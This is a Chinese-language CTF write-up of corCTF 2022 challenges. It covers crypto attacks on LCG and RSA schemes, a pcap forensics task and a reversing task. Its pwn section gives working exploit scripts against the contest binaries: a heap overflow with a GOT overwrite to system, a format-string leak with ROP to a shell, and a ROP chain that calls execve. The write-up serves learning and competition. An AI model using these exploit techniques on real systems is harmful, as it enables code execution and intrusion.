当前位置:网站首页>[corctf 2022] 部分
[corctf 2022] 部分
2022-08-09 19:33:00 【石氏是时试】
目录
crypto
tadpole
这个比赛玩线性方程到极致了。先看原题
from Crypto.Util.number import bytes_to_long, isPrime
from secrets import randbelow
p = bytes_to_long(open("flag.txt", "rb").read())
assert isPrime(p)
a = randbelow(p)
b = randbelow(p)
def f(s):
return (a * s + b) % p
print("a = ", a)
print("b = ", b)
print("f(31337) = ", f(31337))
print("f(f(31337)) = ", f(f(31337)))
数据
a = 7904681699700731398014734140051852539595806699214201704996640156917030632322659247608208994194840235514587046537148300460058962186080655943804500265088604049870276334033409850015651340974377752209566343260236095126079946537115705967909011471361527517536608234561184232228641232031445095605905800675590040729
b = 16276123569406561065481657801212560821090379741833362117064628294630146690975007397274564762071994252430611109538448562330994891595998956302505598671868738461167036849263008183930906881997588494441620076078667417828837239330797541019054284027314592321358909551790371565447129285494856611848340083448507929914
f(31337) = 52926479498929750044944450970022719277159248911867759992013481774911823190312079157541825423250020665153531167070545276398175787563829542933394906173782217836783565154742242903537987641141610732290449825336292689379131350316072955262065808081711030055841841406454441280215520187695501682433223390854051207100
f(f(31337)) = 65547980822717919074991147621216627925232640728803041128894527143789172030203362875900831296779973655308791371486165705460914922484808659375299900737148358509883361622225046840011907835671004704947767016613458301891561318029714351016012481309583866288472491239769813776978841785764693181622804797533665463949
题目给出了线性方程的两个参数a,b和两个结果,求模
显然有公式,可以得到p
f + kp = a * s + b
所以只需要进行一次爆破
from Crypto.Util.number import bytes_to_long, long_to_bytes
a = ...
b = ...
f1 = ...
f2 = ...
#f + kp = a * s + b
kp = a*31337+b - f1
for i in range(1, 31337):
if kp%i == 0:
print(long_to_bytes(kp//i))
#b'corctf{1n_m4th3m4t1c5,_th3_3ucl1d14n_4lg0r1thm_1s_4n_3ff1c13nt_m3th0d_f0r_c0mput1ng_th3_GCD_0f_tw0_1nt3g3rs} <- this is flag adm'
luckyguess
同样是一个线性方程的题
#!/usr/local/bin/python
from random import getrandbits
p = 2**521 - 1
a = getrandbits(521)
b = getrandbits(521)
print("a =", a)
print("b =", b)
try:
x = int(input("enter your starting point: "))
y = int(input("alright, what's your guess? "))
except:
print("?")
exit(-1)
r = getrandbits(20)
for _ in range(r):
x = (x * a + b) % p
if x == y:
print("wow, you are truly psychic! here, have a flag:", open("flag.txt").read())
else:
print("sorry, you are not a true psychic... better luck next time")
这个是连后台的题,给出了所有参数a,b,p,要求输入x和经过一个随机轮运算后的y。这里随机数是不可控的,要想预测到y那一定有y==x才行,所以要解公式
x = x *a + b mod pa => x = b*(1-a)^-1
连接脚本
from pwn import *
from gmpy2 import invert
p = remote('be.ax', 31800)
context.log_level = 'debug'
pa = 2**521 - 1
p.recvuntil(b'=')
a = int(p.recvline())
p.recvuntil(b'=')
b = int(p.recvline())
#x = x *a + b mod pa => x = b*(1-a)^-1
x = (b * invert(1-a, pa))%pa
p.sendline(str(x).encode())
p.sendline(str(x).encode())
p.recv()
'''
a = 5048175380154021587430252757047193271543600756035452140096384677751977215680281637179725004708991538263250194593058212039942945916433928658715669070860230768
b = 1124958709506779159508830030068226834098348300599667614411448690759630115345734762277408095416415601629422762018099642008496282066203998680106829277611390071
enter your starting point: 5581603144036847562006941807490262848215449288228515626126429426577632468291584545349367870521423069598668508427786978032768650395493782081195337504075349717
alright, what's your guess? 5581603144036847562006941807490262848215449288228515626126429426577632468291584545349367870521423069598668508427786978032768650395493782081195337504075349717
wow, you are truly psychic! here, have a flag: corctf{r34l_psych1c5_d0nt_n33d_f1x3d_p01nt5_t0_tr1ck_th15_lcg!}
'''
exchanged
同样是线性而且全给了参数a,b,p及初始的s和两个通过随机数轮(a_priv,b_priv)运算后的结果AB,显然经过a_priv+b_priv运算和b_priv+a_priv的值是相同的,拿这个值作为key将flag用AES加密。
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secrets import randbelow
p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = randbelow(p)
b = randbelow(p)
s = randbelow(p)
print("p =", p)
print("a =", a)
print("b =", b)
print("s =", s)
a_priv = randbelow(p)
b_priv = randbelow(p)
def f(s):
return (a * s + b) % p
def mult(s, n):
for _ in range(n):
s = f(s)
return s
A = mult(s, a_priv)
B = mult(s, b_priv)
print("A =", A)
print("B =", B)
shared = mult(A, b_priv)
assert mult(B, a_priv) == shared
flag = open("flag.txt", "rb").read()
key = sha256(long_to_bytes(shared)).digest()[:16]
iv = long_to_bytes(randint(0, 2**128))
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(iv.hex() + cipher.encrypt(pad(flag, 16)).hex())
由于key是经过sha256加密后的结果,所以可以确认这一步不过逆,那问题就变成求shared
先手工得到一个公式
s(k) = s0 * a^k + a^(k-1)*b + a^(k-2)*b + ... + a^0 * b
s(k) = s0 * a^k + b * (1- a^k)/(1 - a) #等比数列求和
通过这个公式可以算出a_priv和b_priv并计算出s(a_priv+b_priv),然后通过sha256得到密钥解密即可
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from gmpy2 import invert
p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = 118090659823726532118457015460393501353551257181901234830868805299366725758012165845638977878322282762929021570278435511082796994178870962500440332899721398426189888618654464380851733007647761349698218193871563040337609238025971961729401986114391957513108804134147523112841191971447906617102015540889276702905
b = 57950149871006152434673020146375196555892205626959676251724410016184935825712508121123309360222777559827093965468965268147720027647842492655071706063669328135127202250040935414836416360350924218462798003878266563205893267635176851677889275076622582116735064397099811275094311855310291134721254402338711815917
s = 35701581351111604654913348867007078339402691770410368133625030427202791057766853103510974089592411344065769957370802617378495161837442670157827768677411871042401500071366317439681461271483880858007469502453361706001973441902698612564888892738986839322028935932565866492285930239231621460094395437739108335763
A = 27055699502555282613679205402426727304359886337822675232856463708560598772666004663660052528328692282077165590259495090388216629240053397041429587052611133163886938471164829537589711598253115270161090086180001501227164925199272064309777701514693535680247097233110602308486009083412543129797852747444605837628
B = 132178320037112737009726468367471898242195923568158234871773607005424001152694338993978703689030147215843125095282272730052868843423659165019475476788785426513627877574198334376818205173785102362137159225281640301442638067549414775820844039938433118586793458501467811405967773962568614238426424346683176754273
iv = bytes.fromhex('e0364f9f55fc27fc46f3ab1dc9db48fa')
c = bytes.fromhex('482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e')
#A = s*a^k + b(1-a^k)/(1-a)
#A = a^k *(s - b*invert(1-a,p)) + b*invert(1-a,p)
#a^k = (A-b*invert(1-a,p))*invert(s - b*invert(1-a,p), p)
aka = ((A-b*invert(1-a,p))*invert(s - b*invert(1-a,p), p) )%p
bkb = ((B-b*invert(1-a,p))*invert(s - b*invert(1-a,p), p) )%p
print(aka)
print(bkb)
aka = 24613491966563701765521477438054285870183028480863197732196297187875105642012237693551457530331879651792897609680756435851960474759678723338219180075181651445427011972796264766181632783192359131103397706894059643215192702656135782012798561637515092706514444988849675712196886226529268464301268493074729091847
bkb = 29063376931172371845287877942976546880866929884320337167256459418671069174406604047580864378202023374962552151810961809116550565333153326548921316600450968620011009959635511041373577278160790705707556755722529730076215544604366790071634105119885320904079148327047425343620052566118072391261841024238109807687
#a_priv = discrete_log(aka,mod(a,p)) #求离散对数用sage计算
#b_priv = discrete_log(bkb,mod(a,p))
a_priv = 63497966771228335993935218724355716676359926182967975463093060105894867914802051403524263838451533117998140812842659902100945139428076742018151358770711075499718955791059569760306592803008376586431708302909649602374612770031446609941268056564386982932718212036534269872682126736591975854896102855270700008372
b_priv = 72294308363142635191285137067271613704518381689222403756427895774621470359587678998089163134800904011887080683864659561441585487866597353332892511005327144670737921076740544522591181991307617152388962472418690715521378068114703790176987564145359661515790454979281591952064634314009219343525018858317272168846
shared = (pow(a, a_priv+b_priv, p)*s + b*(1- pow(a, a_priv+b_priv, p))*invert(1-a, p) )%p
key = sha256(long_to_bytes(shared)).digest()[:16]
print(key)
aes = AES.new(key, AES.MODE_CBC, iv=iv)
m = aes.decrypt(c)
print(m)
#b'corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}\n\n\n\n\n\n\n\n\n\n'
crypto hiDe
这个题也有点思路但没弄出来,后来看WP才明白
#!/usr/local/bin/python
import random
import time
import math
import binascii
from Crypto.Util.number import *
p, q = getPrime(512), getPrime(512)
n = p * q
phi = (p - 1) * (q - 1)
flag = open('./flag.txt').read().encode()
random.seed(int(time.time()))
def encrypt(msg):
e = random.randint(1, n)
while math.gcd(e, phi) != 1:
e = random.randint(1, n)
pt = bytes_to_long(msg)
ct = pow(pt, e, n)
return binascii.hexlify(long_to_bytes(ct)).decode()
def main():
print('Secure Encryption Service')
print('Your modulus is:', n)
while True:
print('Options')
print('-------')
print('(1) Encrypt flag')
print('(2) Encrypt message')
print('(3) Quit')
x = input('Choose an option: ')
if x not in '123':
print('Unrecognized option.')
exit()
elif x == '1':
print('Here is your encrypted flag:', encrypt(flag))
elif x == '2':
msg = input('Enter your message in hex: ')
print('Here is your encrypted message:', encrypt(binascii.unhexlify(msg)))
elif x == '3':
print('Bye')
exit()
if __name__ == '__main__':
main()
有两个选项,1是直接输出flag的密文,其中e为随机数;2是输入数据给出输入的密文。
如果输入2作明文,可以通过返回的c,很容易解出e
先按思路从远程取到的数据,取数据的时间 1659918157
Secure Encryption Service
Your modulus is: 95668340607036964615111505966311942047304843052888612028711550569283110382200751528924580078706350405403086359640271246828347829815359123907504289267555365291379887507682530799359640496590978979804044665256976633035512363709748038268981963861185055519567249982691069811108727546331703206393656946171973096651
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 24169310aa5f845162e5a4b29a83656e0df0c7d72f79d778289e4d4ef1836e4e5e030186576aba18d880a90b4835068aa0c2fb376a89f2147a433bc5f6e3ee9c917a7f79404c52a6fcddc4cc61ef215ea48295c34b10b1f8b60776e0c89fce7eea5948165f0732810bba0e1702d7c6142ca04e8ac8945ef1f573f1b60f6abb47
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 1
Here is your encrypted flag: 4dd720572b85ef32b6038f36821a16848343147a9d096a06eb466ed248ae8f14d4bd6b84fea98dd4c0e2594c259c27d7ccd840e331e823dc21cc9e5bb0b2d99efc95ad646d9a30df88652bb002c84555078ae89d3a07218c911ba053370e9b69722b20a98923ff514096862ca71fc2894468320449e6d6081d5bc2bdafbf026c
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option:
看上去象选择密文攻击,实际上不是,这里前边用time.time()来置随机数种子,当远端连接时置种子,所以这些e是可以通过爆破种子得到的,唯一的问题是n需要分解。
这里又有一个假设,在encrypt里对e的随机值进行筛选,把与phi_h不互质的去掉。这时候两次选的e如果不是偶数则大概率下与phi_n无关,所以可以把encrypt进行简化后爆破
def get_e():
e = random.randint(1, n)
while e % 2 == 0:
e = random.randint(1, n)
return e
def encrypt(msg, n):
e = get_e()
ct = pow(msg, e, n)
return ct
这样可以取到第2个cipher并且预测到第2个e,再过滤掉不互质的e后则变成了一个共模攻击。
from pwn import *
import time
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
from math import gcd
def extended_gcd(x, y):
# a*x + b*y = 1
a = 0
b = 1
lasta = 1
lastb = 0
while y != 0:
quo = x // y
x, y = y, x % y
a, lasta = lasta - quo * a, a
b, lastb = lastb - quo * b, b
return lasta, lastb
#简化的求下一个e 当e不为偶数时大概率与phi_n互质,爆破几次即可成功
def get_e():
e = random.randint(1, n)
while e % 2 == 0:
e = random.randint(1, n)
return e
def encrypt(msg, n):
e = get_e()
ct = pow(msg, e, n)
return ct
def get_c1():
p.sendlineafter(b'Choose an option: ', b'2')
p.sendlineafter(b'Enter your message in hex: ', b'02')
p.recvuntil(b'Here is your encrypted message: ')
return int(p.recvline(), 16)
def get_cipher():
p.sendlineafter(b'Choose an option: ', b'1')
p.recvuntil(b'Here is your encrypted flag: ')
return int(p.recvline(), 16)
context.log_level = 'debug'
while True:
#get seed 近远端种子同步
seed = int(time.time())
p = remote('be.ax', 31124)
p.recvuntil(b'Your modulus is: ')
n = int(p.recvline())
print('n: ', n)
c_remote = get_c1()
end = int(time.time())
ok = False
while end >= seed:
random.seed(seed)
c_local = encrypt(2, n)
if c_local == c_remote:
ok = True
break
seed += 1
if not ok:
p.close()
continue
print('seed: ', seed)
#取两个互质e的密文
random.seed(seed)
encrypt(1,n)
e1 = e2 = get_e()
flag1 = get_cipher()
while gcd(e1,e2) != 1:
flag2 = get_cipher()
e2 = get_e()
assert gcd(e1, e2) == 1
#共模攻击求解
a,b = extended_gcd(e1,e2)
if a<0:
flag1 = inverse(flag1, n)
a = -a
if b<0:
flag2 = inverse(flag2, n)
b = -b
flag = long_to_bytes((pow(flag1, a, n)*pow(flag2, b, n)) % n)
if b'corctf{' in flag:
print(flag)
break
p.close()
#corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}
forensics
whack-a-frog
附件是一个抓的包
这里边有大量的 mousemove所以猜是取点绘图,前面x,y就是点的位置
先取得这些点
<?php
$data = file_get_contents("whacking-the-froggers.pcap");
preg_match_all("|/anticheat\\?x=([0-9]*)&y=([0-9]*)&event=mousemove|iUms", $data, $reg);
print_r($reg);
$d ='';
foreach($reg[1] as $i => $x){
$y = $reg[2][$i];
$d.= "$x,$y\n";
}
file_put_contents('d.dat', $d);
?>
再用程序绘图
from PIL import Image
data = open('d.dat').read()[:-1].split('\n')
img = Image.new('RGB',(600,100))
for v in data:
print(v)
k = v.split(',')
img.putpixel((int(k[0]), int(k[1])), (255,0,0))
img.save('a.png')
#corctf{LILYXOX}
得到图加上壳已经flag
rev
Microsoft ️ Linux
用ida打开后别说F5了正常看也会卡死。先是看到这一断
这里用了rol,就是循环左移0x0d将就是5次也就是前3位和后5位互换位置
后边还有提示half应该是一半,作出来也确实是一半,另一半一定在下边。把边ida分析不出来的部分强制转换成代码
这里能看到一个数与输入的值作了与运算(异或比较常用,与很少见),作与运算实际上只是去掉某些位,大样子还能看出来。写解题脚本的时候习惯写异或了,发现提交的时候通过了。看来这个坑被无意见漏掉了。
a = bytes.fromhex('6CED4E6C8ECC6F66AD4C4E866C6685660F8E')
a = bytes([((v<<3)|((v>>5)&7))&0xff for v in a])
print(a)
b = b'>ci!>Uy<cjx<8e,,<p'
for i in range(256):
c = bytes([v^i for v in b])
if c[-1:] == b'}':
print(a+c)
#corctf{3mbr4c3,3xt3nd,3Xt1ngu15h!!1}
pwn
cshell2
有很多pwn题,这个是最简单的,其它都看不懂。
这个题没开PIE而且got表可写,在写的时候有溢出。在edit里往偏移64处写数据但长度只减32
unsigned __int64 m4edit()
{
unsigned __int8 v1; // [rsp+7h] [rbp-9h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter index: ");
__isoc99_scanf("%hhu", &v1);
if ( v1 <= 0xEu && qword_4040C8[2 * v1] )
{
puts("Input firstname: ");
read(0, *((void **)&unk_4040C0 + 2 * v1), 8uLL);
puts("Input middlename: ");
read(0, (void *)(*((_QWORD *)&unk_4040C0 + 2 * v1) + 8LL), 8uLL);
puts("Input lastname: ");
read(0, (void *)(*((_QWORD *)&unk_4040C0 + 2 * v1) + 16LL), 8uLL);
puts("Input age: ");
__isoc99_scanf("%lu", *((_QWORD *)&unk_4040C0 + 2 * v1) + 24LL);
printf("Input bio: (max %d)\n", qword_4040C8[2 * v1] - 32LL);
read(0, (void *)(*((_QWORD *)&unk_4040C0 + 2 * v1) + 64LL), qword_4040C8[2 * v1] - 32LL);// 溢出32
puts("Successfully edit'd!");
}
return v2 - __readfsqword(0x28u);
}
先建0x408的块4个,再编辑0,通过溢出把1的头改为0x821这样释放1就会把1和2的空间释放到unsort再建408后unsort标记就会放到2块位置,show就能得到libc
获取libc后就直接往got表里写system就行了,由于这里写分了几次,每次都得写,所以会影响到got表里的项,需要在写的时候把初始值(指向plt表)填回去。
from pwn import *
context(arch='amd64')
menu = b"5 re-age user\n"
def add(idx, size, s1=b'1', s2=b'2', s3=b'3', age=0, msg=b'AAAA'):
p.sendlineafter(menu, b'1')
p.sendlineafter(b'Enter index: \n', str(idx).encode())
p.sendlineafter(b'Enter size (1032 minimum): \n', str(size).encode())
p.sendafter(b'Input firstname: \n', s1)
p.sendafter(b'Input middlename: \n', s2)
p.sendafter(b'Input lastname: \n', s3)
p.sendlineafter(b'Input age: \n', str(age).encode())
p.sendafter(b'Input bio: \n', msg)
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b": ", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b": ", str(idx).encode())
def edit(idx, s1=b'1', s2=b'2', s3=b'3', age=0, msg=b'BBBB'):
p.sendlineafter(menu, b'4')
p.sendlineafter(b'Enter index: ', str(idx).encode())
p.sendafter(b'Input firstname: \n', s1)
p.sendafter(b'Input middlename: \n', s2)
p.sendlineafter(b'Input lastname: \n', s3)
p.sendlineafter(b'Input age: \n', str(age).encode())
p.sendafter(b')\n', msg)
def edit_age(idx, age):
p.sendlineafter(menu, b'5')
p.sendlineafter(b": ", str(idx).encode())
p.sendlineafter(b": ", str(age).encode())
#p = process('./pwn')
p = remote('be.ax', 31667)
elf = ELF('./pwn')
libc_elf = ELF('./libc.so.6')
one = [0x46daf, 0xea0aa, 0xea0b2, 0xea0b7]
context.log_level='debug'
for i in range(4):
add(i, 0x408)
edit(0, msg=b'\x00'*(0x408-0x40)+ p64(0x821))
free(1)
add(1, 0x408)
add(4, 0x420) #2 ->largebin
show(2)
p.recvuntil(b"last: ")
heap_base = u64(p.recvuntil(b' ',drop=True).ljust(8, b'\x00')) - 0xab0
p.recvuntil(b"first: ")
libc_base = u64(p.recvuntil(b' ', drop=True).ljust(8, b'\x00')) - 0x450 - libc_elf.sym['main_arena']
libc_elf.address = libc_base
print(hex(heap_base), hex(libc_base))
add(5, 0x408) #5==2
free(0)
free(5)
edit(2, s1=p64((elf.got['free'] -0x18)^ ((heap_base+0xac0)>>12)))
add(6, 0x408, s1=b'/bin/sh\x00')
add(7, 0x408, s1=p64(0x403e10), s2=p64(0), s3=p64(0), age=libc_elf.sym['system'], msg=p64(elf.plt['malloc']))
free(6)
p.interactive()
#gdb.attach(p)
#pause()
#corctf{m0nk3y1ng_0n_4_d3bugg3r_15_th3_b35T!!!}
babypwn
这个题给了原码,在一个循环里有一个fgets(text,128,stdin)这里text的位置与rbp相邻长度0x60这里的溢出正好够pop_rdi,/bin/sh,system。另外一个漏洞在这句前边printf(text)不带参数的printf,可以任意漏洞任意写
use libc;
use libc_stdhandle;
fn main() {
unsafe {
libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);
libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);
libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);
let text = [0 as libc::c_char; 64].as_mut_ptr();
libc::fgets(text, 64, libc_stdhandle::stdin());
libc::printf("Hi, \0".as_ptr() as *const libc::c_char);
libc::printf(text); //格式化字符串漏洞
libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
libc::fgets(text, 128, libc_stdhandle::stdin()); //写溢出
libc::printf(format!("{}\n\0", r#"..."#).as_ptr() as *const libc::c_char);
}
}
这题之所以没完成一个大问题就是这个程序不能运行,本地不能运行而且在用printf漏洞libc里找不到。后来看了别人的WP,他用的位置在67也就是向下0x1e8的位置,如果本地不能debug的话这样确实有点坑。
from pwn import *
libc_elf = ELF("libc.so.6")
context(arch='amd64', log_level='debug')
#sock = Process("./babypwn")
p = remote("be.ax", 31801)
p.sendlineafter(b"name?\n", b"%67$p")
p.recvuntil(b'Hi, ')
libc_base = int(p.recvline(), 16) - 0x20e15e
libc_elf.address = libc_base
pop_rdi = libc_base + 0x0000000000023b6a #: pop rdi ; ret
payload = b"A"*0x60
payload += p64(pop_rdi +1)
payload += p64(pop_rdi)
payload += p64(next(libc_elf.search(b"/bin/sh")))
payload += p64(libc_elf.sym["system"])
p.sendlineafter(b"emote?\n", payload)
p.interactive()
#corctf{why_w4s_th4t_1n_rust???}
zigzag
说是zig写的程序,ida翻出来乱的要命,好在给了原码,但是明显限了可能有写溢出外,从源码也看不出啥来。另外它是一个静态编译的程序没用libc,而且也没用堆函数。
pub fn edit() !void {
var idx: usize = undefined;
var size: usize = undefined;
try stdout.print("Index: ", .{});
idx = try readNum();
if (idx == ERR or idx >= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) {
try stdout.print("Invalid index!\n", .{});
return;
}
try stdout.print("Size: ", .{});
size = try readNum();
if (size > chunklist[idx].len and size == ERR) {
try stdout.print("Invalid size!\n", .{});
return;
}
chunklist[idx].len = size;
try stdout.print("Data: ", .{});
_ = try stdin.read(chunklist[idx]); #溢出
}
如是我闻:
当建两个块后可以发现它会把块建在mapped块里,每块长1000,后跟一个1000的块(cur_ptr*2, chunk_ptr, edit_len),由于写的时候无限制可以试着覆盖管理块(内容不详,暂时叫管理块,实际上读和写都用chunklist里的指针和size,这里的指针似乎没用)的指针。
当将指针覆盖后再建块会将块建到指针+10处,会在+10处开始写数据
所以整体思路是:
- edit修改长度,然后show得到堆地址
- 修改管理块指针到chunklist-0x10,建块写入argc_argv_ptr让1块指向argc_argv_ptr
- show(1)得到栈地址-0xc8是当前函数返回位置
- 将1块指针修改为栈返回地址
- 在返回地址处写rop 这里由于没有pop rdx需要找一个能代替的gadget,恰好有个or rdx,rdi 只需要先在rdi填一个指向0的指针再or rdx,rdi即实现填充rdx。再一个坑就在在下一个ret前边有个位置会被修改,这样需要用足够长的pop路过,这里用pop_r14,r15,rbp三个路过,最后是执行execve的syscall 59
from pwn import *
def add(index, size, data):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Data: ', data)
def delete(index):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b'Index: ', str(index).encode())
def show(index):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b'Index: ', str(index).encode())
return p.recvline()
def edit(index, size, data):
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Data: ', data)
elf = ELF("./zigzag")
p = process("./zigzag")
#p = remote("be.ax", 31278)
context(arch='amd64', log_level='debug')
# Leak heap pointer
add(0, 0x10, b"/bin/sh\0")
add(1, 0x20, b"B")
edit(1, 0x1020, b"B"*0x10)
'''
gdb-peda$ vmmap
Start End Perm Name
0x00200000 0x00201000 r--p /home/shi/2022corctf/zigzag/zigzag
0x00201000 0x00204000 r-xp /home/shi/2022corctf/zigzag/zigzag
0x00204000 0x00205000 rw-p /home/shi/2022corctf/zigzag/zigzag
0x00205000 0x00209000 rw-p mapped
0x00007f785dd73000 0x00007f785dd77000 rw-p mapped
0x00007fffdfebd000 0x00007fffdfede000 rw-p [stack]
0x00007fffdffca000 0x00007fffdffce000 r--p [vvar]
0x00007fffdffce000 0x00007fffdffd0000 r-xp [vdso]
0xffffffffff600000 0xffffffffff601000 --xp [vsyscall]
gdb-peda$ x/6gx &chunklist
0x208128 <chunklist>: 0x00007f785dd73000 0x0000000000000010
0x208138 <chunklist+16>: 0x00007f785dd75000 0x0000000000001020
0x208148 <chunklist+32>: 0x00000000dead0000 0x0000000000000000
gdb-peda$ x/4gx 0x00007f785dd73000
0x7f785dd73000: 0x0068732f6e69622f 0x0000000000000000
0x7f785dd73010: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx 0x00007f785dd75000
0x7f785dd75000: 0x4242424242424242 0x4242424242424242
0x7f785dd75010: 0x4242424242424242 0x4242424242424242
gdb-peda$ x/4gx 0x00007f785dd76000
0x7f785dd76000: 0x00007f785dd76042 0x00007f785dd76000
0x7f785dd76010: 0x00007f785dd75000 0x0000000000010001
0120| 0x7fffdfedc790 --> 0xdead0000
0128| 0x7fffdfedc798 --> 0x202c04 (<std.start.posixCallMainAndExit+836>: movzx eax,WORD PTR [rsp+0x60]) <---ROP start
0136| 0x7fffdfedc7a0 --> 0x1
0312| 0x7fffdfedc850 --> 0x0
0320| 0x7fffdfedc858 --> 0x2028c0 (<std.start.posixCallMainAndExit>: push rbp)
0328| 0x7fffdfedc860 --> 0x1 <------- *argc_argv_ptr
0336| 0x7fffdfedc868 --> 0x7fffdfedd431 ("./zigzag")
chunklist{ptr,size} *ptr+1000 = top_chunk{heap_base, heap_base, last_chunk, last_len}
'''
heap_base = u64(show(1)[0x1000:0x1008]) #- ord('B')
print("heap = ",hex(heap_base))
# Overwrite A pointer
payload = b"B"*0x1000 + p64(heap_base)*2 + p64(elf.sym["chunklist"] - 0x10)
edit(1, 0x1018, payload) #size>=len(data)
add(2, 0x20, p64(elf.sym["argc_argv_ptr"])+ p64(0x60)) #chunk1->ptr:argc_argv_ptr #remote +0x1000 2.size==1.size=0x20
stack_addr = u64(show(1)[:8]) - 0xc8
print("stack:", hex(stack_addr))
edit(2, 0x20, p64(stack_addr)+ p64(0x100)) #chunk1->ptr:stack_ret
pop_rdi = 0x0000000000203147 # pop rdi ; ret
pop_rsi = 0x000000000020351b # pop rsi ; ret
pop_rsi_r15 = 0x0000000000203b27 # pop rsi ; pop r15 ; ret
pop_rax_syscall = 0x0000000000201fcf # pop rax ; syscall
or_rdx_rdi = 0x0000000000203bde # or rdx, rdi ; ret
pop_r14_r15_rbp = 0x0000000000201f2e # pop r14 ; pop r15 ; pop rbp ; ret
pop_rax_mov_rsi_rcx_syscall = 0x0000000000201fc6 # pop rax ; mov rsi, rcx ; syscall
#rdx = 0x205100
#execve(/bin/sh,0,0) rax=0x3b *rdi=/bin/sh rsi=0 *rdx=0
#pop r14... jump used space
ROP = flat(pop_rdi, 0x205100, or_rdx_rdi, pop_rsi,0,pop_r14_r15_rbp,0,0,0,pop_rdi,heap_base-0x3000, pop_rax_syscall, 0x3b)
edit(1, 0x100, ROP)
p.interactive()
边栏推荐
猜你喜欢
数据分散情况的统计图-盒须图
大健康产业商业供应链管理系统数字化提升产业链运作效率推动供应链标准化建设
DSPE-PEG-Azide, DSPE-PEG-N3, phospholipid-polyethylene glycol-azide can react directly with DBCO
Toronto Research Chemicals加米霉素-d4说明书
STM32WB55的FUS更新及协议栈固件烧写方法
使用Mock技术模拟数据
钢材行业供应链协同管理系统提升企业上下游密切度,精细化企业内部管理
【IoT毕设】STM32与机智云自助开发平台的宠物智能喂养系统
【深度学习】pix2pix GAN理论及代码实现
Ali Ermi: Without accept, can a TCP connection be established?
随机推荐
Js查找字符串中出现最多次数的字母和单词
Two methods of implementing inverted strings in C language
奥特曼卡牌隐藏的百亿市场
2.3 监督学习-2
力扣15-三数之和——HashSet&双指针法
An overall security understanding and method of cyberspace based on connection and security entropy
fixed investment fund
韩国网络安全体系特征与发展前景
WPF中加载并使用图像资源
【高效工具】远程控制软件 ToDesk(收藏夹)
STM32WB55的FUS更新及协议栈固件烧写方法
hdu 3341 Lost's revenge(dp+Ac自动机)
获取数组最后一项别再用array.length-1了
安装多版本php(php5.6,php7.2)
DSPE-PEG-PDP, DSPE-PEG-OPSS, phospholipid-polyethylene glycol-mercaptopyridine reduce the immunogenicity of peptides
如何在WPF中设置Grid ColumnDefinitions的样式
小满nestjs(第五章 nestjs cli)
axi4c
MySQL, which is asked on both sides of the byte, almost didn't answer well
laravel 中配置文件.env解读